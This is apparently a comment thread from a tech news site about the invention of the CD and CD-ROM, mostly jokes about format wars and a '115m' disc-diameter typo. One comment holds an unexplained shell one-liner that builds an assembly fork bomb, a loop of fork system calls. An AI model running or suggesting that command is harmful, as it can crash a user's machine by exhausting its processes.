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The History of the CD-ROM
Gammu writes "The inventor of the compact disc, the most popular medium in the world for playing back and storing music, is often disputed as one individual did not invent every part of the compact disc. The most attributed inventor is James Russell, who in 1965 was inspired with a revolutionary idea as he sketched on paper a more ideal music recording system to replace vinyl records; Russell envisioned a system which could record and replay sounds without any physical contact between parts."
don't you mean HD-DVD?
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Bah, this must be just another proprietary Sony format that will never catch on, like the 3.5" floppy disk. When will they ever learn?
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how was it both shorter AND longer at the same time?
What is...?
No, what killed DVD-Audio was some top-brass exec being asked by his 12-year-old daughter why the kids at school were laughing at her. Apparently they'd found out her daddy "made DVDA albums".
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there's a term for people that prefer 12 inchers: size queen.
Do you even lift?
These aren't the 'roids you're looking for.
Wow, they missed an 'm'. They deserve to die.
He's only claiming it's longer. With the reality being shorter, it is both shorter and longer at the same time.
Are you new here?
Honesty may be the best policy, but by process of elimination, dishonesty is the second best policy.
FTFA: Many other decisions were made that year, such as the disc diameter (115m)...
The disc diameter was changed from 115m to 120mm to allow for 74 minutes of playback with the sampling rate and quality chosen.
Thank god. I'd hate to imagine the storage rack I'd need to keep those 115m discs.
Does it make you happy you're so strange?
He's probably a audiophile. A single bit error in their music causes them to haywire and then explode. This is the same effect applied to text.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
about 74 minutes.
From TFA: The disc diameter was changed from 115m to 120mm to allow for 74 minutes of playback...
Maybe they thought it might be hard to get consumers to put a 115 meter playback device in their room. And of course they would get complaints from record stores who should have to get bigger doors to get the disks through, not to mention storage space.
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